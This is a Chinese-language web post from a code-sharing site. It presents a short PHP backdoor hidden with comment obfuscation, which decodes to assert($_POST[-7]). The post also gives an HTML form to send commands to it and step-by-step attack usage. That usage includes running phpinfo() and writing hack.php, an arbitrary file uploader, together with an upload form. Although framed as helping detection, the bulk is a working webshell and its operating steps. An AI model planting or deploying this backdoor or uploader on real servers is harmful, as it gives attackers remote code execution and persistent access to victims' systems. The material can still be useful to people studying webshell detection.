代码简短且隐蔽的后门木马

本文将介绍一个代码很简短，而且很隐蔽的后门木马，以便让大家在检测程序时可以避免被挂木马。

文件内容如下：

<code><?php@<span>$_</span>=<span>"s"</span>.<span>"s"</span>./*-<span>/*-*/</span><span>"e"</span>./*-<span>/*-*/</span><span>"r"</span>;@<span>$_</span>=<span>/*-/</span>*-*<span>/"a"./</span>*-<span>/*-*/</span><span>$_</span>./*-<span>/*-*/</span><span>"t"</span>;@<span>$_</span>/*-<span>/*-*/</span>(<span>$/</span>*-<span>/*-*/</span>{<span>"_P"</span>./*-<span>/*-*/</span><span>"OS"</span>./*-<span>/*-*/</span><span>"T"</span>}[<span>/*-/</span>*-*<span>/0/</span>*-<span>/*-*/</span>-<span>/*-/</span>*-*<span>/2/</span>*-<span>/*-*/</span>-<span>/*-/</span>*-*<span>/5/</span>*-<span>/*-*/</span>]);?></code>

代码中插入了很多注释符，服务器的检测程序如果不严谨很难检测到。

把注释符删除后，代码如下：

<code><span><span><?php</span>@<span>$_</span>=<span>"s"</span>.<span>"s"</span>.<span>"e"</span>.<span>"r"</span>;@<span>$_</span>=<span>"a"</span>.<span>$_</span>.<span>"t"</span>;@<span>$_</span>(${<span>"_P"</span>.<span>"OS"</span>.<span>"T"</span>}[<span>0</span>-<span>2</span>-<span>5</span>]);<span>?></span></span></code>

最后实际执行的代码内容为：

<code><span><span><?php</span>assert(${<span>"_POST"</span>}[-<span>7</span>]);<span>?></span></span></code>

原来这个后门是利用了php assert方法来执行程序。

<code><span>bool</span><span>assert</span> ( mixed $assertion [, <span>string</span> $description ] )</code>

assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。

如果 assertion 是字符串，它将会被 assert() 当做 PHP 代码来执行。

如果$assertion的内容为phpinfo(); 则会把服务器的信息返回，使攻击者能获取到服务器信息对此攻击。

上传了这个后门程序后，攻击者只需要创建一个简单的html就可以在服务器中执行php语句。
假设后门文件是backdoor.php

<code><span></span><span><<span>html</span>></span><span><<span>head</span>></span><span><<span>title</span>></span> back door <span></<span>title</span>></span><span></<span>head</span>></span><span><<span>body</span>></span><span><<span>form</span><span>name</span>=<span>"form1"</span><span>method</span>=<span>"post"</span><span>action</span>=<span>"http<mark>6来源gaodaimacom搞#^代%!码网</mark><strong>搞gaodaima代码</strong>://www.example.com/backdoor.php"</span>></span><span><<span>p</span>></span><span><<span>textarea</span><span>name</span>=<span>"-7"</span><span>style</span>=<span>"width:500px; height:300px"</span>></span><span></<span>textarea</span>></span><span></<span>p</span>></span><span><<span>p</span>></span><span><<span>input</span><span>type</span>=<span>"submit"</span><span>value</span>=<span>"submit"</span>></span><span></<span>p</span>></span><span></<span>form</span>></span><span></<span>body</span>></span><span></<span>html</span>></span></code>

攻击方式：
1.获取服务器信息可输入

<code><span>phpinfo()</span>;</code>

2.创建一个可随便上传文件的php可输入

<code>file_put_contents(<span>'hack.php'</span>, <span>'<?php move_uploaded_file($_FILES[\'</span>name\<span>'][\'</span>tmp_name\<span>'], dirname(__FILE__).\'</span>/dest.php\<span>');?>'</span> ,<span>true</span>);</code>

然后创建一个上传文件的html调用hack.php

<code><span></span><span><<span>html</span>></span><span><<span>head</span>></span><span><<span>title</span>></span> upload <span></<span>title</span>></span><span></<span>head</span>></span><span><<span>body</span>></span><span><<span>form</span><span>name</span>=<span>"form1"</span><span>method</span>=<span>"post"</span><span>action</span>=<span>"http://www.example.com/hack.php"</span><span>enctype</span>=<span>"multipart/form-data"</span>></span><span><<span>p</span>></span><span><<span>input</span><span>type</span>=<span>"file"</span><span>name</span>=<span>"name"</span>></span><span></<span>p</span>></span><span><<span>p</span>></span><span><<span>input</span><span>type</span>=<span>"submit"</span><span>value</span>=<span>"submit"</span>></span><span></<span>p</span>></span><span></<span>form</span>></span><span></<span>body</span>></span><span></<span>html</span>></span></code>

之后便可随意上传php文件执行了。

以上就介绍了代码简短且隐蔽的后门木马，包括了方面的内容，希望对PHP教程有兴趣的朋友有所帮助。

搞代码网（gaodaima.com）提供的所有资源部分来自互联网，如果有侵犯您的版权或其他权益，请说明详细缘由并提供版权或权益证明然后发送到邮箱[email protected]‍，我们会在看到邮件的第一时间内为您处理，或直接联系QQ：872152909。本网站采用BY-NC-SA协议进行授权
转载请注明原文链接：代码简短且隐蔽的后门木马

Hi，您需要填写昵称和邮箱！